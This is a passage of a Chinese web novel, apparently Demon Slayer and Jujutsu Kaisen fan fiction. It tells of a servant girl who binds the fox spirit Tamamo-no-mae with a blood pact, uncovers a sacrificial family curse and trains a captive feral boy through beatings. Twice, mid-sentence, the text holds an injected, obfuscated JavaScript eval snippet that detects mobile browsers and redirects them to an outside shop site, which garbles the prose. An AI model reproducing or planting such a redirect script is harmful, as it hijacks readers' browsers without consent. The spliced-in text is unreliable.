手中碎片滑落,掉在地上,彻底成了粉末。 萤忽然想起每个进入产屋敷家族的仆从都会签下某种契约,内容写得模糊,字迹像是某种符咒,相当古怪。仆从都只当是贵族们用来彰显底蕴的东西,没什么用处。 现在,她终于明白那纸契约的真正目的。 怪不得月彦少爷出生时就算是鬼胎也能救回来;怪不得医师断定活不过三年却硬生生挺到现在;怪不得只有月彦少爷的宅院每隔一段时日就会处死一批仆从...... 以命换命。 无数人的死亡换来他苟延残喘地活下去。 口中残留的糜烂血腥味让萤想吐,她也确实吐了出来。 双腿无力滑落在地,泪水滴落,在地上又留下几滴水渍。 月彦少爷抱住了她,丝毫不嫌弃那呕吐物是否脏了自己的衣摆,笑得很开心,声音中带着近乎极致的愉悦,就好像压抑许久的疯子彻底发泄出了本性。 一点点舔过她脸上的眼泪,如同水蛭般吸附在人类的躯体。 整个房间都散发着说不清的气息,腐朽木材、檀香、咸湿泪珠、呕吐物、辛辣药剂、糜烂血迹—— “萤,还想杀了我吗?” 他轻笑,然后咬住了她的耳垂。 22.第 22 章 所谓的贵族,所谓的礼节,所谓种种一切都不过是精心编造而成的谎言。 实际上是践踏着无数鲜血与尸骨,由世间最为恶心的事物堆砌而成的枯木,轻轻一碰,就碎个彻底。 自姬君看望月彦少爷病况那日起,本来还算健康的姬君突然垮了身子,像是倾斜而出的洪水,身体所累积的全部病症都在此时迸发。 她猛地推开房门,然后晕倒在地,医师手足无措地看着这一切,屋内的月彦少爷发出某种瘆人的笑声,一边笑着,一边不停向外吐血,那床被褥已被染成血色。 最后两人都只能卧床休息,陷入昏迷之中。 每日来诊断的医师在心中叹口气,对身后等待着的仆从嘱托完具体事项后便转身离开了。 姬君在睡梦中死死皱着眉,好不容易长了些肉的脸颊也以肉眼可见的速度凹陷。 她浑身都在冒着虚寒,每隔一段时间就需换身衣裳,红着脸缩在被褥之中,从嗓子里发出某种细微的呜咽声。 可怜极了。 医师还要为月彦少爷看病,上次的寒症本不算什么,可不知为何病情突然加重许多。当然,这种事也是断然不敢追问的。 只需埋头做好本分内的事就足够了。 这也是医师能够安稳活到现在的保命秘诀。 随着屋门被合拢,仆从踩着嘎吱嘎吱响的木地板缓慢走至姬君身旁。 他低着头,将姬君额上敷着的毛巾重新打湿,就在指尖即将碰触到脸颊时, 姬君睁开了眼。 四目相对, 他恭敬低下头,错开那道探究目光。 “您醒了。”他起身将尚温的晚食端了过来,把菜品依次布置好后说道:“您需要用些餐食,医师说姬君的身体还需慢慢调理。” 意料之中没有回话。 他拿起汤匙,舀了勺粥递到姬君嘴边。 姬君侧过了脸,无声抗拒着他的动作,咳嗽几声后哑着嗓子慢慢说:“我自己来,不需要你帮忙。” “是。” 他停止手中动作,跪坐在旁,安静垂着头,就连呼吸也十分微弱,好像完全不存在的透明人。 听见一阵悉悉索索的声音, 然后是汤匙掉落在地的清脆声响。 仆从微微抬眸,看见姬君直接端着碗将粥一饮而尽,然后随意擦了擦嘴——这样粗狂的举动,完全不像是一位贵族呢。 他勾了勾唇角,没再说话。 萤叫住即将离开的仆从,声音很低,带着那种不容置疑的腔调。 他停下步伐,但没有转身,轻声问:“姬君还有什么事吩咐吗?” “你的尾巴露出来了,狐狸妖怪。” 在这仆从的身后,有几条毛茸茸的白色尾巴完全违背了宿主的意愿,勾着萤的脚踝,一副恋恋不舍的模样。 这样的尾巴共有九条,可人只有两只脚,于是尾巴们互相打起架来,毛毛在空中飞来飞去,像是蒲公英般,显得颇为壮观。 事实上,在第一次见到这位仆从时,萤就已经察觉到不对劲。 原因无他,这张脸太过熟悉。 正是第一日叫醒萤,并好心给她一块点心的仆从,虽然还没来得及知晓对方的姓名就变成了花肥,成为一具枯骨。 但人死不能复生,这是再浅显不过的道理。 而这位仆从消失一阵后又忽然回来了,并且没有任何人觉得不对劲,就好像他从未死过般平常。 即便再怎么隐藏,也无法完全遮掩住源自人体腐烂后的枯朽气息,所以,这个借用了人类皮囊的狐狸妖怪究竟有什么目的呢? 见自己已经败露,仆从转过身,上挑的狐狸眼中满是兴味盎然之意。 他舔了舔唇,看着那几条不争气的尾巴,指尖微动,尾巴顷刻间便消失不见。 “真是抱歉哪姬君,最近心情不佳,请勿怪罪。” 说着,人皮缓缓脱落,如同志怪杂谈里最为经典的一幕,狐狸褪下皮囊,露出本来的面目。 身着华丽的十二层单衣,如海藻般微卷的长发随意披在身后,肤若凝雪,朱唇皓齿,八重扇上绘尽世间华贵美丽之物,金光闪闪的饰品却并未夺走丝毫注意,甚至显得相得益彰。 美人就该配上如此繁饰才对。 当真可以称得上是世间绝色,似人似妖,一颦一笑皆令人沉醉。 这狐狸妖怪慢悠悠摇着折扇,等待着对面的人类流露出那种惊讶或沉醉的神情。 为了这个出场,他可是把压箱底的漂亮衣服都套在了身上,只要是好看的饰品都往身上带。并找到最佳角度,让屋外照射的微光恰恰好打在他美丽的侧颜上,显现出朦胧梦幻的美。 太完美了,这人类一定会被如此完美的他所折服。 作为一只虚荣心十分强的妖怪,他高昂着头,等待着来自人类的赞美与痴迷,虽然台词都大差不差,但就是爱听。 吱呀一声,窗户被人无情合上。 身上的金银首饰也没了反光,不再刺眼。 听得这人类毫无波澜起伏的声音,“喂,你的尾巴又出来了。” 狐狸妖怪低下头,果然,那该死的尾巴又开始暗戳戳勾搭人类的脚踝,甚至还有那么一丝谄媚。 萤站直身子,她想起晴说过的妖怪故事大全,可并没有听说过有关九尾狐狸的故事。 “你来产屋敷家族的目的?”她问。 狐狸妖怪正狼狈地和自己的尾巴做对抗,但可以始终没有成功。 他放弃了,重新规整好自己那通身阔气装潢,摇着八重扇,漫不经心地说: “为了传闻中难得的美人,产屋敷月彦而来。” “哦?你要他的皮囊?” “本来是这么打算的,可我现在改变了想法。”狐狸妖怪那金黄色竖瞳一眨不眨地盯着对方,这时才显现出那非人般的诡异。 他舔了舔唇,说:“虽然普通了些,但我觉得你的皮囊比那病猫子的要有趣多了。” 啊啦,听起来真是太恐怖了,弱小的人类姬君一定会害怕到哭吧,然后用那种可怜兮兮的眼神看着他。 唔,光是想想就有趣极了。 只可惜,事与愿违。 萤伸脚狠狠踩住还在不停勾搭着脚踝的狐狸尾巴,报以同款假惺惺笑容,嘴唇轻动,对着那几条还在不停晃动的尾巴缓缓说出两个字: “真丑。” 尾巴们瞬间僵住,然后蔫哒哒垂落在地,失去光泽。 “!!!” 狐狸妖怪瞪大了眼睛,像是听见什么不可思议的事情,他用手指着萤,就连表情管理都抛在脑后,“你说什么?!!” “还要我再说一遍吗?”萤翻了个白眼,“真丑真丑真丑!你是我见过最丑的妖怪,还有着最丑的尾巴!” “怎么可能,你骗狐狸!” 妖怪从口袋中掏出一块铜镜,上下左右照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15930991|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了照,很好,还是从前那只美丽狐狸,没有一丝一毫变丑的地方。 哼,她肯定是在说谎。 这么一个普通人类哪里见过什么妖怪,更别提像他这种既漂亮又有大尾巴的妖怪了。 果然是可恶的人类,轻飘飘一句话就狠狠伤了妖怪的心。 狐狸恶狠狠的,面露凶光, “再给你一次机会,如果你再说出那个字,我现在就吃了你。” 他露出尖锐的牙齿,指甲延长到可以杀人的长度,故意压低语调,像是即将捕食的猛兽。 “不过...” “要我改口也很简单,帮我找到可以杀了产屋敷月彦的方法。” 狐狸可不蠢,哼哼,这明显是有求于他嘛。 就凭借一个改口费怎么可以轻易使唤他这样的大妖怪,而且他才不稀罕—— 忽然浑身打了个激灵,某种难以言喻的快感从尾巴尖尖传来,让整个心脏都随之颤抖几分,那隐藏着的狐狸耳朵也弹了出来。 “你你你,你又干了什么?!” “摸了摸你的尾巴?” 说着,萤伸手一点点从尾部向上,摸着其中一根热乎乎的白色尾巴,她的手掌很小、同样很粗糙,带有颗粒般的质感。 这么一双手却意外适合抚摸。 ——好舒服,好喜欢,好奇怪 ——快停下 ——呜 狐狸妖怪想要制止这可恶人类的行为,可他红着脸,整个身子都感到酥酥麻麻,本来训斥的话语也变成软糯的嘤咛声,哼唧哼唧,眯起充满水雾的双眸。 ...完全享受起来了呢。 就在狐狸妖怪快乐到即将显出原型时,萤的动作却停下了。 他不满地睁开眼, 听见这坏心眼儿的人类说:“如果你肯帮我,我可以像这样每天摸一次你的尾巴。” 只不过是摸尾巴嘛,谁稀罕啊,这么想着,尾巴尖却还是遵从本心勾着对方的手腕。 “五次。” ——两次。 “那四次吧,不能再少了。” ——三次。 “哼,成交,三次就三次,今天也要算!” 妖怪狐狸气呼呼坐在地上,等待着对方的服侍。身上那繁琐的服饰也变了个样子,不过依旧不改他的美貌与傲气。 萤默默看着这只蠢狐狸, 她想:原来妖怪都是这么笨的吗?那晴为什么还要害怕妖怪,明明几个谎言就可以把妖怪骗得团团转。 伸出手,那九条尾巴都暗搓搓等着她的摸摸,像几只欢呼雀跃的小狗。 ——妖怪会有名字吗? “当然,不过都是自己取的。” ——那你叫什么。 “玉藻前。” ——...... “为什么不说话,不觉得这是个很美丽的名字吗?!” ——嗯,听起来很适合你。 晴曾经说过,永远不要相信妖怪的话,除非和妖怪交换了血液,这样就可以立下某种不可破解的契约。 那是父亲告诉他的。 看着趴在地上,已经迷迷糊糊的狐狸妖怪,萤咬破了指尖,将血含在口中,然后俯身死死咬住对方的唇,直到一人一妖的血彻底相融。 在妖怪不可置信的目光中, 她笑眯眯地说:“抱歉,但我并不相信一只妖怪的誓言,更何况还是只狡猾狐狸。” 23.第 23 章 玉藻前,史上最美艳强大、博学多识、聪慧灵敏的完美大妖怪,竟被这样一个毛都没长齐的狡猾人类所暗算,签订极为不平等的契约,而且那几条不听话的该死尾巴还在人类手中宠。 是谁说狐狸狡猾的? 事实证明,这世上最会算计、最爱使用肮脏手段的分明就是人类。 这注定会成为妖怪历史上的耻辱。 捂着被咬破的双唇,玉藻前跪坐在原地,身上佩戴着的饰品发出叮铃叮铃的碰撞声,那双漂亮眼睛失去了原先的光泽,看起来受到相当大的打击。 而这一切的【始作俑者】同样捂着自己的手,上面留下个血红的牙印,被气急败坏的臭狐狸咬的。 虽然很疼,但跟腿上的伤相比,却根本不值一提。 真是的,原来人类忍耐疼痛的能力也是可以通过不断刺激来提升的,听起来有些好笑。 一人一妖面对面对峙许久,最后两个幼稚鬼同时宣判比赛暂停,都侧过了脸,冷哼几声。 “事已至此,我这个妖怪就大发慈悲帮帮你吧。” “事已至此,我这个人类就虚心接受了。” “哼。” “嘁。” ...... 虽然交谈的过程并不算顺利,但好在终于解答了最为关键的问题。 根据萤所描述的——以命换命、写着古老文字的产屋敷家族契约,她用指尖蘸了点儿水,努力检索着记忆,慢慢在地上画出了大概的模样。 见多识广的大妖怪几乎是瞬间就知道了答案。 他皱起好看的眉头,喃喃自语道:“不应该啊,那东西失传许久,怎么会落到人类手里......” “看样子你已经知道答案了。”萤说。 狐狸:“当然,我可是见多识广的大妖怪,哪里是你们人类可以比拟的存在。” 随着八重扇的轻晃,一个沉寂许久的故事由妖怪之口说出—— 据说那是某个古老的妖怪国度,妖怪们生活得很平静祥和,那里种植着大片大片的樱花,非常美,宛若仙境。 某天,这个国家的中心地带忽然生长出一棵散发着白光的参天大树,那是神灵给予他们的恩赐,所有妖怪都这么想着。 大树生长得很快,它似乎掠夺了周围所有花草树木的生命,樱花树枯萎了,鸟儿不再鸣啼,水流枯竭,俨然成为了神弃之地。 国王说:我们要把这棵树砍倒,拯救这个国家。 就在第二日,圣树长出了许多发光果实。 国王率先为他的子民们试毒,而后,国王改变了原先的想法,他要举全国之力来供养这棵圣树,不计代价。 最开始,吃了大树果实的妖怪都会得到某种不可思议的天赋,甚至实力也有相当惊人的增强,几乎不再需要所谓的修行。 妖怪们欢呼雀跃,争先恐后地抢走那些果实。 再然后就如同所有故事发展的那样, 为了争夺这所谓的圣树,战争爆发了。 每天都有数以百计的妖怪死去,血液将蜿蜒河水染成红色,方圆百里几乎见不到任何生灵。那颗树却生长得愈发高大茂盛,每一片叶片都有着翠绿色彩,每一颗果实都散发着诱人香气。 直到一切成为坟墓与废墟后,目睹一切的妖怪姬君点燃了火把,她和国王对峙,以死相逼,最后将这棵圣树焚烧殆尽。 就在圣树枯萎的一瞬,整个国度中吃过圣树果实的妖怪都死了,国王也不例外,化成某种粘稠的黑色液体渗入大地,这里变成了散发着死气的沼泽。 那位姬君疯了,整个国家也只剩下她一只妖怪。 而后,站在城墙上准备一跃而下的她忽然看见了纵横交错的树根,那是一道符号,同样也是最恶毒的诅咒。 以生命来供养生命之圣树的延续,而这一切,也只不过是神灵闲来无事的恶作剧,仅此而已。 关于圣树的传说被时光所抹去,除了她,再没其它妖怪知道那道符咒的模样。 关于这个故事,是位旅人在途径荒漠时所遇,据说他那晚睡在泥沙旁,做了这样一个诡异的梦。 究竟是梦还是古老的过去,也没人能说清。 ... “所以,消除这个契约的方法是什么呢?”萤捏着下巴,努力在这颇为凄凉戏剧性的故事中寻找突破口。 摇着八重扇的玉藻前慢悠悠喝口茶,关于这道符咒的所有,可能都已是几千年前的事情了,要不是他平日里喜欢搜罗些故事解闷儿,说不定根本就不知道呢。 当然,这并非是旅人的梦,也并非是个故事,这是真实发生过的事情,那道由神赐予的符咒至今早已没了下落。 不过并没有妖怪对此感兴趣,他们是懂得反思的存在,那是如此惨痛的代价,更别提任何想要触碰到【生命】级别的事物都会遭遇反噬。 至于破解的方法,答案可能是——死亡。 等到所有与产屋敷家族签订契约的人死亡,再将所有知道这个符咒的人杀死,那么一切便迎刃而解了。 萤摇头否定了他的回答, 傲娇狐狸“啪”的一下合起扇子,气鼓鼓扭过头,不想再说一句话。 “我并非是多么高尚的人,因为我也曾签订过那个契约,我不想死。更何况,让如此多无辜生命为了产屋敷家族陪葬,实在不值。” 她这么说着,神情意外坦诚,然后给出了自己的想法:“如果产屋敷月彦就是那颗圣树,那些签订的契约是他的树根,可不可以找到契约,并烧毁?” 毕竟这世上有个亘古不变的真理——树木要通过根系才可以汲取营养活下去,如果切断了树根,那将会迎来枯死。 听到这番话后,妖怪狐狸捂着嘴笑出声, 他凝视着面前弱小普通、伤痕累累的人类,那双透亮的黑眸里是熊熊燃烧的炙火,看起来是如此强大,如此不可思议。 真神奇啊,他想。 明明是个畏惧着死亡,毫无还手之力的仆从,竟会有这样强大的灵魂。 伸出手,一点点抚摸过对方的眼睛、鼻尖、唇角,还有那几颗黑痣与雀斑,他伸出舌头舔了舔尖牙,忽然生出想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15934886|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把眼前这个人类拆吃入腹的想法。 接着被对方一巴掌拍了下去,用那种颇为嫌弃的目光和眼神, “狐狸,你流口水了。” “......” 啊啊啊啊啊,他的一世英名,毁了,全毁了! 没去管已经完全崩溃大叫的笨蛋狐狸, 萤揉了揉感到酸胀的膝盖,她觉得就凭自己这个病患和一只蠢狐狸完全无法成功,还需找到其他帮手,一个绝对没有签订过契约的帮手。 脑子里忽然蹦出了猪圈的那个小怪物。 是了,按照产屋敷家族狗屎般的贵族做派,那家伙是绝不可能被列入‘树根’的范畴吧。 萤随意踹了踹还在崩溃的狐狸,她说:“我们还需要个帮手,你来这里后有没有听说过猪圈里那个小怪物的故事?” “猪圈——?” “不可能,我绝不可能去那种肮脏的地方,光是想想就觉得玷污了我的脑子。” 这是他最后的底线,至于叽里呱啦说了其它什么信息,那完全不重要。 啧, 萤没再争论, “好吧,那你代替我在这里装病,我自己出去找他。” 哦当然,前提是她的腿需要立刻康复成功。 听见自己不用去那什么猪圈,玉藻前松了口气,轻轻松松用妖怪的方法治好了她的双腿,疼痛感完全消失,简直可以称得上神医。 她看着沾沾自喜,等待着感谢的狐狸,笑着说:“谢谢你,玉藻前,你和我见过的所有妖怪都不一样,你是一只特别的妖怪。” “那当然,我可是大妖怪。” 狐狸挺直了腰杆,又重新打开他那把八重扇,脸上是隐藏不住的骄傲,简直和出场的他判若两狐。 真是...特别蠢的妖怪啊。 怪不得许多贵族私下里都圈养着妖怪,光是看着它们这副纯然无暇的模样就会勾起某种隐秘的支配欲望吧。啧,太低劣了,人类。 …… 姬君的房门再次打开,几声微不可察的咳嗽声被隔绝在内。 仆从低下头,沿着走廊左端缓慢向前走。 黑漆漆的长廊上伫立着几位仆从,没有人抬头,仿佛天生便缺失了头颅,就这样静默地站着,仅胸口还有微弱起伏。 脚掌踩在木质地板上,发出嘎吱嘎吱的轻响,打破了这过于沉寂的世界。 不过要记得放轻些脚步,若是声音再大些,恐怕就要成为一具尸体了。 恰逢此时医师也从月彦少爷的房间里走出,他叫住即将远去的仆从,开口询问那位姬君情况如何。 “一如往常。” 仆从这么说着,恭敬行礼后转身离去。 医师看着那个背影,心中嘀咕着:奇怪…总觉得这仆人好像有哪里不对劲,约莫是错觉? 他收回目光,也转身离了这里。 ... 有谁会知道人的皮囊也可以反复利用呢——贵族们,还有妖怪。 褪去皮囊后,内里装着的究竟是何物,那就不得而知了。 24.第 24 章 产屋敷家族,在飞鸟时期还仅仅只是个不起眼的普通村户,那时候并没有所谓的姓氏,因为住在松树下,便自取名为松下。 日出而作,日落而息,向未知神灵祈求,过着再普通不过的生活。 本来也该是这样的,直到有一天,男人在森林里迷了路,意外走到被人们称为禁地的废墟。他很恐惧,又不可抑制地感到某种未知兴奋。 有什么东西在呼喊着他,便是世间最为无欲无求的人也要被这呼唤引诱,更别提他这个本就贪婪的小人物。 跟随着轻飘飘却又近在咫尺的声音,他越过了死亡与生灵的分界线,看见一株摇摇欲坠的枯黄树苗。 地表蔓延着极为纤细的根茎,几乎都裸露在外,像是人类的血管,只需轻轻一碰便可碾碎这弱小的树。 一阵风,吹开了脚下堆积着的落叶。 男人这才惊觉,自己竟站在一具干尸之上,而那看似脆弱的树干将这副躯体死死缠绕,似乎是在汲取榨干最后一点养分。 他害怕了,步伐下意识向后撤退几步。 叶片发出被踩碎的细微声响, 沙沙, 沙沙沙, 沙沙沙沙声形成了树的语言—— 【我可以给予你无上的财富、地位、权力】 【我可以让你不再受人欺凌,成为命运的主宰】 【......】 【我可以让你的子孙后代享有永不泯灭的荣誉】 每一句话停顿,男人的步伐就向前进一步,他站在树苗的根前,双膝跪地,匍匐着祈求着神迹,并贪婪地想要更多更多。 树根似细蛇般在地面游走,缠住他的手腕,吮吸着血液,那枯黄树苗肉眼可见的变得翠绿起来。 于是,男人有了神赐之名——产屋敷。 在他走后,地上的干尸彻底化为灰烬,那千百年前妖怪国度的最后一位姬君彻底宣告死亡,不过她的名讳倒是以极为扭曲的方式传承下去。 那棵树是死亡之树,同样也是生命之树。 树苗被移走了,这里仅剩下哀戚、枯叶与虚无。 与此同时,产屋敷家族一跃成为奈良时代的新贵族,以令人惊恐的运气与财富保持百年始终屹立不倒。 只是他们拥有一个古老神秘、不可破解的诅咒—— 【你将付出所有,献祭一切,来供养生命之神的福祉】 每一任产屋敷家主的长子必然会受到疾病困扰,痛苦非凡,每一处皮肉与血管都在叫嚣着痛苦。始终找不到医治方法,只能苟延残喘地活着,直到死亡将其吞噬。 按照家族惯例,每位家主必须精心侍养这位“祭品”,用以保证产屋敷荣光永续。 这非人的家族,同样也只能饲养出非人的人类。 只可惜没人知道,那些死去的产屋敷家族故人都去了哪里,若是知晓了,或许又将会是另一幅场景。 拭目以待吧,即将死亡的人们。 圣树在等待着你。 ...... 充满腥臊味的猪圈内, 身上布满粪便与污垢的猪崽们聚拢在一起,在这个炎热盛夏里散发出难以形容的酸臭气息。 夜很静,所有生物都短暂逃离现实,进入了梦乡。 等待着宰杀的牲畜会不会在夜晚梦见砍刀呢,未必,因为那些即将被宰杀的人类也并没有梦见死亡。 某种意义上来说,他们和待宰的牲畜并无区别。 除去猪崽子的哼哼声,这里还存在着另一道微弱的呼吸。 那个小怪物,据说出生时母亲便难产离世,村民将其扔到森林中献祭所谓的神灵,以此来求得谅解。 他很幸运,被一只失去幼崽的母狼所救,那得天独厚的四条胳膊让他成功成为了一匹与众不同的狼。 用牙齿撕开猎物的脖颈,在山林间跳跃,夜晚时站在悬崖上呼叫着族人,沐浴在月光之下,将头颅贴紧母亲柔软的腹部之中沉沉睡去。 用梦幻与美好来形容也不足为过。 可惜他又没有绝对的幸运,命运总在措不及防下发生转折。 母亲死在人类的弓箭之下,血液一点点染红了母亲的银白色的毛发,她伸出舌头舔了舔哭泣着的幼崽,再然后,被剥皮制作成为一件毛皮披风。 而他呢,在那群人类猎奇的目光下被铐上枷锁,成了人类戏弄施虐的玩物。 身体通到忍不住落泪时,他会抬头看着那件被挂在墙上的披风,看着他的母亲。 直到某日,他挣脱开枷锁,拼尽全力将母亲抱进怀中,那些人类用最恶心、痛苦的手段对待他,夺走了母亲,并燃烧殆尽。 他彻底疯了,想要将所有人类撕个粉碎。 最后被一位名叫咒术师的人制服,再次为他锁上十层枷锁与束缚,用那副厌恶的表情看着他——这样野蛮低贱的东西,不配成为伟大的咒术师。 人类将他随意送出,几经流转,来到了这里,终日与牲畜作伴。 好在他早已习惯这样的生活,动物气息反而给足了他安全感。 而且...他在谋划着一场复仇,一场史无前例的复仇。 至于突破口—— 几个干巴巴的萝卜丁丢在身旁, 他睁开眼,看着偷偷摸摸翻墙而入的人类, 月光打在那人的身上,摇曳长影一晃而过,将附在身上的皮囊退去后露出原本的模样,蹲下身,小声说道: “小怪物,好久不见。” 他想,复仇计划终于可以开始第一步了。 ... 萤和小怪物的交流有几分困难,准确来说,几乎全是困难。 她絮絮叨叨说了很多东西,关于诅咒、关于妖怪、关于那棵树,最后在小怪物疑惑目光中败下阵来。 “你是不是,听不懂我说话?” “吼。” 小怪物从嗓子里发出一阵低吼,那声音带着十足的戒备,配合上他那长长指甲在地面划过的痕迹来看。 ——应激了? 脑海里回想起从前仆从们的闲谈,小怪物是被野狼养大的狼孩。正常人类是不会靠近这样一个拥有四条胳膊四只眼睛的怪物,也只有那些没脑子的野兽会了。 ——话说起来,和野兽建立关系的第一步是什么来着? 小怪物动了动鼻子,脊背不断向上拱起,那杂乱枯燥的长发后 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没有发育完全的大脑很难继续运转,事实上他的计划相当简单,可以说为简陋。 ——找到一个最好猎杀的人类,威胁对方解开枷锁,最后他再杀死所有人类复仇。 经过相当长一段时间的观察,他选择了那个看起来就瘦瘦小小、十分好欺负的人类。只不过对方忽然消失了一段时间,但心中莫名的直觉告诉他:那个人类会再次出现。 只可惜,现在所发生的一切都在预示着计划的偏差。 喉咙中再次发出阵阵低吼,这是野兽在警告着入侵者的声音。 面前的人类松开了手,从身后抽出一把斧子。 小怪物变得更加警觉, 直到身后缠绕着的枷锁被砸开后他才意识到自己终于自由了。 还没来得及撒腿就跑,那锁链被人类缠在手腕上,本来柔和的目光变得冷冰冰。 笑眯眯地拍了拍他的脸,用那种极度不真实的语气缓缓说道:“虽然梦里的一切情节都太过老套,但能看见这样卑贱的两面大人,也算是值得了。” “我会把这个故事放进收藏之中永久回忆的。” 月光被乌云所遮掩,连带着人类的脸庞也消失在黑暗之中,不过她的笑声倒是格外刺耳。 等到光束再度打在她的身上时,整个人又全然换了副面孔,她垂着眸,用指尖小心碰触着小怪物脸上已然留疤的伤口。 “很痛吧?”她这样说着。 小怪物收起尖牙,一时分不清究竟发生了什么,只从喉咙中发出某种疑惑的呜咽。 “其实你们都该去死的...”她眉眼弯弯,拂去小怪物面前遮挡的碎发,轻快的声音像是咀嚼着世间最柔软甜腻的事物,“不过我还没玩腻,那就先继续吧,贱骨头们。” 她说着世上最恶毒的话语,又用着世上最温和的声音与表情,小怪物听不懂人话,他逐渐放下戒备,靠在软绵绵的身体上睡着了。 至于计划...等以后再说也来得及。 25.第 25 章 由野兽抚养长大的人类还会是人类吗? 这很难评判。 首先,我们要理清【人类】的真正定义,只不过似乎光是这样简单的一点都还没成功,人类至今也没搞懂自己究竟是什么。还会振臂高呼着——人类不该被定义。 那么姑且就把“它”称之为小怪物吧,不符合大众定义的特殊存在。 这样一个简单称呼可以完美遮掩人类对异者的恶行,因为特殊,所以要去死。 简洁明了的道理。 所以——要如何驯服这样一只野兽(怪物),让它愿意为了主人送死呢?这是个非常值得探讨的新命题,且具有一定学术价值。 巧的是,现在正有一名人类愿意去试试看,如果成功了,相信她会很乐意的把研究结果分享给世界。 * 月色荡漾, 脚步匆匆,地面长影一晃而过, 在这样一个绝对寂静的时间里,萤拽着那条生锈锁链又回到了月彦少爷的庭院。 被禁锢许久的小怪物早就忘记该如何行走,他趴在地上踉踉跄跄,几条胳膊各走各的,不过还是努力跟上前面那个人类的步伐。 ——要跟紧,要离开这里 月亮落在头顶,小怪物脖颈上的锁链依旧没解开,他感到几分不适,有些呼吸不上来。 “吼—” 从嗓子里发出低沉的呜咽声,他伸出爪子挠了挠地,贴近周围嗅了嗅,察觉到并没有危险后就直接坐在原地不想动了。 锁链再度绷紧,人类也停下脚步,扭头看着并不怎么听话的小怪物,她皱了皱眉。 她面无表情地说:“现在我们来立下第一个规定,听我说三个数,一、二、三——如果在这之后你没有收起脾气,那么等待的就是惩罚。当然,如果你遵守了规定,可以获得奖励。” “站起来,一、二、三。”她发出指令。 小怪物眯起眼睛趴在地上,一动不动。 啪的一声, 他被直接拽起头发扇了一巴掌,力度很大,半张脸瞬间红肿,从嘴里吐出一口血沫。 “站起来,一、二、三。”第二次指令。 小怪物呲着牙,拱起背,做出即将进攻的姿势,想要将面前的人类撕个粉碎。 他被一脚踹倒在地,人类拽着那根锁链踩在他胸口上,那双清澈透亮的黑色瞳孔看着他,毫不犹豫挥手给出第二巴掌。 另一半的脸也肿了,小怪物蜷缩在地,颤抖着身子,却依旧没有收起獠牙,眼睛里充斥着杀意。 啧,野性难驯的畜牲。 “站起来,一、二、三。”最后一次指令。 小怪物没有丝毫动弹,他捂着耳朵,喉咙里发出嘶嘶的呜咽声,十分抗拒再听从这人类的任何话。 叮铃, 锁链发出的碰撞声, 人类拽紧了锁链,一点点将他从地上拽起,丝毫不顾他的死活。 从喉咙传来的窒息感让他不得不伸直膝盖,以一种怪异扭曲的姿势慢慢站起身。 一只手轻柔抚摸过他的脸颊,逗狗般夸奖道: “‘站起来’就是这个意思,我相信你已经记住了,小怪物。” ——痛苦、屈辱、还有止不住的杀意 就这样,他记住了人生中第一个人类指令与语言,不管他怎样否定与厌恶,这个词语都将永远缠住他,成为诅咒般的存在。 像是狗的第一根骨头,被埋藏在土坑里,只要嗅到就会回忆起与之相关的所有,恶心,但足够刻骨铭心。 他被这个人类带到一间充满香气的房子里,里面还躺着一个人类,在看见他后瞬间变了脸色。 是那种习以为常的厌恶与嫌弃。 他虽然听不懂人类的语言,但可以轻易破解开人类脸上的表情,毕竟那实在太好懂了些。 只有刚刚那个人类,那个一边笑着一边想要弄死他的人类是与众不同的。 想到这里,他伸手抹去唇角处被打出的血迹,被扇过的地方还在隐隐作痛。 两个人类还在进行着对话,他听不懂,可下意识努力将那些音节记下。 玉藻前用八扇遮住脸,皱着眉嫌弃地说:“这家伙太脏了,跟它待在一间屋子内简直就是脏了我的身子!” “那你出去吧。” 萤将小怪物锁在角落里,并喊话夜间值班的仆从送上几桶热水,她觉得身体不适,需要洗浴一番。 “!!!”狐狸瞪大眼睛,“我就知道你们人类不是什么好东西!用完就丢,无情无义的负心汉、薄情人!” 说了一串又一串的成语,他骂得十分文雅,一点攻击性没有,反倒是自己被气个不行,玉白面上起了片绯红,配上那副垂泪欲落的神情,还真是...顾盼生辉,活色生香啊。 听烦了的萤转身掐住这狐狸的两腮,近乎脸贴脸的距离,呼吸出的热气都打在对方身上,让狐狸瞬间噤了声,一眨不眨地呆在原地。 这人类是不是觊觎他的美貌,哼,果然,没有人可以抵挡住像他这般如此完美大妖怪的魅力。 她顿了顿,说:“我很抱歉,请原谅我刚刚的话,狡猾的狐狸君。” 最后几个字被她念的暧昧极了,看着脸色再度通红的笨狐狸,她松开手,恢复了正常的社交距离,跪坐在地,俨然是一位礼仪良好的姬君模样。 装模做样的可恶人类。 “......哼。” 狐狸消失在原地,说是要去找找产屋敷家族用以保管契约的地方,等有了确切消息再来找她。只希望在回来前,她别先死在这里。 萤微微勾起唇角,“祝君武运昌盛。” 随后不久,仆人将热水送了进来,没有对屋内角落那个呲着牙的怪物分去任何一个眼神,恭敬退下。 这就是月彦少爷院内仆从的生存法则。 聪明人的做法。 萤清了清嗓子,看向缩在角落里的小怪物,她招了招手,轻声说: “来到我身边。” 小怪物用那种疑惑的表情看着她,没有动弹。 “一——二——” 熟悉的数字再次被念起,小怪物浑身僵硬,他想起刚刚自己所遭受的一切,大脑开始疯狂分析人类的语言,最后解答出好像是要求他去到人类的身边。 下意识爬在地上匍匐前行, “站起来。” 人类冷冰冰地看着他。 